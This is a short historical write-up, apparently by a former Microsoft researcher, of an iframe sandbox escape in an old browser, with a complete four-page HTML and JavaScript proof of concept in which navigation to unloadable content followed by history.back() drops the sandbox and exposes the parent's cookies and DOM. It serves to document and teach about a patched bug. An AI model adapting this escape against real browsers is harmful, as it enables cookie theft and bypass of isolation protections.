This was an interesting multi-step sandbox escape. A sandboxed iframe opened a new window, navigated it through a chain that included loading non-renderable content (RSS feed, SWF, MHT, ZIP, etc.), and then called history.back() — causing the browser to drop the sandbox restriction on the window entirely.
<!-- parent page -->
<iframe sandbox="allow-scripts ms-allow-popups" src="sandboxed.html"></iframe>
<script>
document.cookie = "COOKIE WAS SET BY THE TOP WINDOW";
</script>
<!-- sandboxed.html -->
<script>
window.open("outofsandbox.html");
</script>
<!-- outofsandbox.html (still sandboxed at this point) -->
<script>
location.href = "sandboxbreaker.html";
</script>
<!-- sandboxbreaker.html -->
<script>
location.href = "these_feeds_are_not_loaded_when_sandboxed.xml"; // Nothing happens (blocked).
history.back(); // Goes back to outofsandbox.html — now out of the sandbox!
</script>
After the history.back() call, the window that returned to outofsandbox.html was no longer sandboxed. It could then read the parent’s cookies and access the DOM without restriction. The non-loadable content navigation was the key trigger — it created a state inconsistency that the sandbox tracking code did not recover from correctly.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.